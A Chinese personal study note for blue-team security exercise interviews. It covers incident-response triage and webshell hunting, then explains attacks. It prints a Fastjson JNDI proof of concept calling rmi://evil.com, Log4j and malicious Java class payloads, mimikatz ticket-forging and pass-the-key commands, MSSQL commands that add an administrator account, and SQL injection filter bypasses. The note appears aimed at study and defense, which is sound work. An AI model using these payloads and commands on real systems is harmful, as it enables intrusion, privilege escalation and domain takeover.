本文为了记录蓝队hw的一些题目,和一些我觉得可能会问的知识点,纯个人总结,肯定有很多不对,大佬轻喷,一些东西来源网上,侵删…
1.信息收集;收集一些客户信息,资产,网络拓扑等等
2.渗透测试;基本的一些敏感信息泄露,未授权访问,弱口令等等测试
3.加固;加固账号密码,暴露公网资产,各种历史遗留漏洞和补丁
1.判研
2.加固
3.溯源
4.反制
5.总结
1.信息收集;收集中毒主机,客户信息,样本
2.判断类型;判断是安全事件,什么安全事件,误报,客户不小心操作等等
3.抑制范围;隔离主机,隔离同网段主机
4.深入分析;日志分析,进程分析,启动项分析
5.清理处置;杀进程 ,删后门,删账号,打补丁,历史遗留漏洞,恢复生产
6.产出报告;写完整的安全事件报告
1.检查账号安全;弱口令,端口对外开放,克隆账号
2.检测异常端口和进程;netstat -ano配合tasklist |findstr "xxx"使用
3.检测启动项;计划任务,组策略后门,服务
4.检查系统信息;补丁情况,可疑目录和文件
5.日志分析;Win+R 打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”,导出 Windows 日志–安全,利用 Log Parser 进行分析
1.账号安全
who 查看当前登录用户(tty本地登陆 pts远程登录)
w 查看系统信息,想知道某一时刻用户的行为
uptime 查看登陆多久、多少用户,负载
1、用户信息文件/etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell
注意:无密码只允许本机登陆,远程不允许登陆
2、影子文件/etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
2.历史命令
通过 .bash_history 查看帐号执行过的系统命令
1、root的历史命令 histroy
2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号的历史命令
历史操作命令的清除:history -c
但此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_profile文件中的记录
3.检查异常端口
netstat -antlp|more
查看下pid所对应的进程文件路径,
运行ls -l /proc/$PID/exe或file /proc/$PID/exe($PID 为对应的pid 号)
4.检查异常进程
ps aux | grep pid
5.检查开机启动配置
/etc/rc.local
/etc/rc.d/rc[0~6].d
6.检查定时任务
crontab -l 列出某个用户cron服务的详细内容
Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root
crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务)
crontab -e 使用编辑器编辑当前的crontab文件
如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件
2、利用anacron实现异步定时任务调度
重点关注
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
7.检查服务
chkconfig --list 命令,可以查看系统运行的服务
8.检查异常文件
9.检查系统日志,web日志
10.检查后门,ssh后门
11.其他
linux登录日志,默认存放在/var/log/
检查一些用户密码,空口令,ssh登录密码,sudo配置等等
中间件权限和数据库权限降低
(1)SQL 注入
(2)失效的身份认证和会话管理
(3)跨站脚本攻击 XSS
(4)直接引用不安全的对象
(5)安全配置错误
(6)敏感信息泄露
(7)缺少功能级的访问控制
(8)跨站请求伪造 CSRF
(9)使用含有已知漏洞的组件
(10)未验证的重定向和转发
具体细节我也不知道,勒索病毒把文件加密了,就意味着ps,top等进程查看命令用不了了,怎么查找后门呢。还是说有内核级的查杀方法吗,大佬告知!
1.首先一台主机被入侵,一定存在一个交互,可以看一下端口和进程,及时隔离。
2.如果已经进入内网了,可以先用wireshark抓一段数据包方便溯源,尽快断网隔离主机或者同网段。
可以通过关键词匹配,例如一些base64encode,eval等等词
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
可能存在一些命令执行,系统调用,服务创建等操作,
通过一些webshell客户端的强特征,一些加密后的特征,还有一些敏感词查杀
webshell一般会在web日志留下痕迹,还有数据提交记录
shiro提供了一个rememberme的功能,在浏览器关闭的时候再次打开就会自动记住会话而不需要重新登录,在反序列过程中,由于使用aes对称加密,并且密钥硬编码在代码里,导致可以构造恶意的序列化加密内容,反序列化时造成rce漏洞,高版本(1.2.4以上)移除默认密钥可以自定义密钥,但是一些开源的shiro框架还是可以获取密钥,进而rce。
服务器解析cookie过程
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理),在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞
shiro漏洞指纹
返回包中存在set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可
利用python3的shiro利用脚本-传送门
shiro <= 1.2.4 反序列化远程命令执行利用脚本
使用延时判断key和gadget,即使目标不出网也可以检测是否存在漏洞
python脚本需要调用ysoserial-sleep.jar,ysoserial-sleep.jar文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial,否则将无法检测
粗略看一下代码,使用了sleep(5)判断key和gadget,并且linux和windows都试用。
fastjson的原理就是再反序列化的时候,可以利用搭建一个恶意的rmi服务器上放一个恶意的类,然后通过json的JNDI References的rmi远程下载这个类,fastjson就会反序列化,然后执行rce。
jndi提供了很多服务,dns rmi idap等,可以利用github的marshalsec项目在vps搭建rmi服务器,并且挂恶意的类,进行rce。
1.如果报错有回显可以构造缺少的json,通过回包是否有fastjson等字段进行判断,例如少一个括号。
2.如果没有回显可以利用dnslog
直接发包,poc如下
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog的地址"}}
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
根据fastjson版本的不同和jave环境版本的不同,有rmi方式和idap方式,利用的攻击链也是不一样的。
Exploit.class类如下
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
搭建rmi服务器,放这个类
构造poc如下
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
Apache Log4j2是一个基于Java的日志记录工具,该工具重写了Log4j框架,并且引入了大量丰富的特性,Apache log4j2是Log4j的升级版,这个日志框架被大量用于业务系统开发,用来记录日志信息。在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中,以便开发人员记录原因。
payload如下
${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}
当我们在任何输入框里面输入这个payload,那么log4j2就会将我们的输入的信息记录到日志中,在记录日志的时候会间接的调用log4j2 的 MessagePatternConverter 组件中的 format 方法。
该方法会截取美元符和花括号之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:ldap 这样的协议格式则进行jndi方式的 ldap 调用。
通过JNDI这个接口传入一个可控参数,因为JNDI动态协议转换,所以我们传入ldap协议,就会自动换成这个协议,然后调用lookup去LDAP服务器端去获取一个不存在的资源。
因为这个资源不存在,且支持JNDI Naming Reference,那么LDAP就会去他指定的一个url去动态加载。如果加载的这个资源里面包含无参构造函数或者静态方法那么代码就会被执行。
恶意class类如下
public class Exploit {
static {
try {
System.out.println("执行漏洞代码1");
String cmd = "calc";
Runtime.getRuntime().exec(cmd);
System.out.println("执行漏洞代码2");
} catch ( Exception e ) {
e.printStackTrace();
}
}
public static void main(String[] args) {
new Exploit();
}
}
#恶意的Exploit代码,功能打开电脑的计算器。
还是利用marshalsec项目,搭建一个ldap的服务端
直接构造poc
这里需要注意,如果不回显,需要进行url编码。
具体getshell的工具GitHub上有,师傅们自行百度吧。
由于 SerializationUtils#deserialize 基于 Java 的序列化机制,可导致远程代码执行 (RCE),使用JDK9及以上版本皆有可能受到影响。
这里简单说一下poc,具体原理不懂,poc上传了一个shell.jsp文件
基本上都是一些反序列化,weblogic有个ssrf可以配合内网redis使用,还有就是weblogic弱口令。
2.AS认证服务器处理请求,经过一系列的加密,将TGT(Ticket Granting Ticket,也就是票据的票据)和密钥(key1)发给客户端
3.客户端加密信息,将密钥(key2)和TGT发给TGS
4.TGS收到请求,经过一系列加密,将ST(Service Ticket,也就是我们说的票据)发送给客户端
5.客户端带着ST和密文访问server服务端
6.服务端解密ST和密文,进行鉴别授权
大概分为三个阶段
1.AS-REQ—AS-REP阶段
2.TGS-REQ—TGS-REP阶段
3.AP-REQ—AP-REP阶段
在Kerberos认证过程中,我们抓取了krbtgt用户的hash生成TGT,原理就是伪造TGT
利用条件
1.需要伪造的域管理员用户名
2.完整的域名
3.域SID
4.krbtgt的NTLM Hash
通过mimikatz抓取和注入票据.
原理是伪造TGS,可以通过授权密码生成TGT(票据的票据),而且生成ST(也就是票据)不需要经过KDC,这样就不需要域控了,不过只能访问一些特定的服务。
利用条件
1.域名
2.域SID
3.目标服务器的FQDN(域控完整名字)
4.可利用的服务
5.服务账号的NTLM Hash
6.要伪造的用户名
kerberos::golden /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810
/target:WIN-ENS2VR5TR3N.DEMO.com
/rc4:f0954d00b21d338aa86051eca90f7f74
/service:cifs
/user:douser /ptt
/sid:域的SID值
/rc4:server机器的hash
/service:可利用的服务,这里是cifs
/user:要伪造的用户名,任意填写
/target:域控制器名,即FQDN(全称)
微软在Kerberos协议中,为了判断client的访问权限,在Kerberos协议加入了一个pac机制,也就是这个pac导致了ms14-068漏洞,发生在Kerberos认证的第一阶段-AS-REQ—AS-REP阶段。
普通用户可以通过呈现具有改变了PAC的Kerberos TGT来获得票证,进而伪造票据获得管理员权限。
利用ms14-068.exe进行制作票据
MS14-068.exe -u @ -p -s -d
mimikatz将票据注入内存,net use 访问域控。
攻击者通过 NetLogon,建⽴与域控间易受攻击的安全通道时,可利⽤此漏洞获取域管访问权限(将域控中保存在AD中的管理员password设置为空)
其漏洞原理是发⽣在 RPC 认证过程的过程中,由于错误的使⽤了 AES-CFB8 加密所导致漏洞成因,该漏洞适⽤于 Win2008 后的所有版本
注:在实战环境中,由于会把域控机器的账户和密码清空,所以有可能会导致域内出问题,可能导致某些服务⽆法正常运⾏,严重会造成脱域等情况,请谨慎利⽤,并且快速恢复域控原本hash。
1.ms17-010是利用smb协议漏洞,获取system权限。
2.在内网中,需要正向链接,如果经常蓝屏可以用msf的bule_commnd模块,仅执行命令不拿shell,也有可能是防火墙原因。
psexec会在目标创建一个服务,存在日志,痕迹比较多,而wmic是没有日志的。
ptt,pass the ticket
通过Kerberos协议,常见攻击有MS14-068,Golden ticket,SILVER ticket,一般用于权限维持,ms14-068可以用于进击域控。
pth,pass the hash
域内横向移动,hash传递,因为在域内一般主机密码一样,利用smb协议的net use(ipc$共享)或者psexec,wmic登录,获取shell。
ptk pass the key
获取aes256加密的key,利用条件【需要打KB2871997补丁】
# mimikatz 命令
privilege::debug // 提升权限
sekurlsa::ekeys // 获取aes
sekurlsa::pth /user:administrator /domain:tencent /aes256:f305f03562f81f7847f17bcf9477cce414fb47e4271763cf9078cc2566316e0f
2.1历史dns解析记录,可以查询之前dns解析记录
2.2.海外ping,有些网站只做了国内的cdn
2.3.利用服务器给你发包,比如邮件系统,让服务器发邮件看回包ip,ssr订阅等等
2.4.子站旁站ip查询,可能找到真实ip
2.5.去掉开头的www查询
2.6.获取https的ssl证书指纹,fofa查询相关信息,获取真实ip
1.删除本机的dns解析,直接域名绑定ip,访问域名,成功则是真实ip
2.nmap扫描,一些在线网站,工具的查询等等
udf(User Defined Function)即用户自定义函数,通过添加新函数,进行功能扩充,通过root权限导出udf.dll到系统目录,然后通过udf.ll调用执行cmd。
利用条件
原理就是通过上传udf.dll到指定目录,然后自定义函数调用udf.dll执行cmd命令,返回一个高权限的shell。
执行命令可以创建一个用户,把他加入administrator组。
首先需要条件,
1.具有root权限(因为要写文件)
2.知道网站绝对路径
3.没开启转义
原理就是通过mysql的写入文件函数,写一个小马,用于文件上传,再通过这个小马上传一个文件执行并且回显服务端的大马,结束后删除文件清理痕迹。
1.–force-ssl 主要是证书问题
2.或者通过代理本地的burp,
–proxy http://192.168.31.84:8081
1.空格绕过
() + /**/ /*!65001*/ %20 %09 %0a %0b %0c %0d
2.等号绕过
可以用like替代
3.逗号过滤
form join 等等很多
select substr(database(),1,1)
相当于
select substr(database() from 1 for 1);
4.关键字符
and=&&
or=||
xor=|
not=!
5.比较< >等绕过
greatest、between and等等
(1)greatest(n1,n2,n3,...) //返回其中的最大值
(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
hpp参数污染,垃圾字符填充,缓冲区溢出绕过,分块传输
2.1打开SP_OACreate选项
use master;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 456 456 /add'
2.3添加到管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 456/add'
利用xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制
具体方法不赘述了。
1.欺骗system认证我们的tcp终端
2.重放这个ntlm,创建一个安全令牌,调用windows api
3.模仿这个令牌,要具有模仿令牌的账号才可以,一般是iis和mssql
重点是具有 selmpersonate权限的账号 也就是模仿令牌权限
远控本质
1.传输消息 一个socks连接
2.命令执行 一个run time 的类
3.结果回传 还有就是io文件流
内存过程我也不是很清楚,应该是通过命名管道加载shellcode,还有beacon.dll的调用。
不懂…
略…
一般用于探测内网,例如redis未授权访问,写入计划任务,还有一些内网服务端口的探测。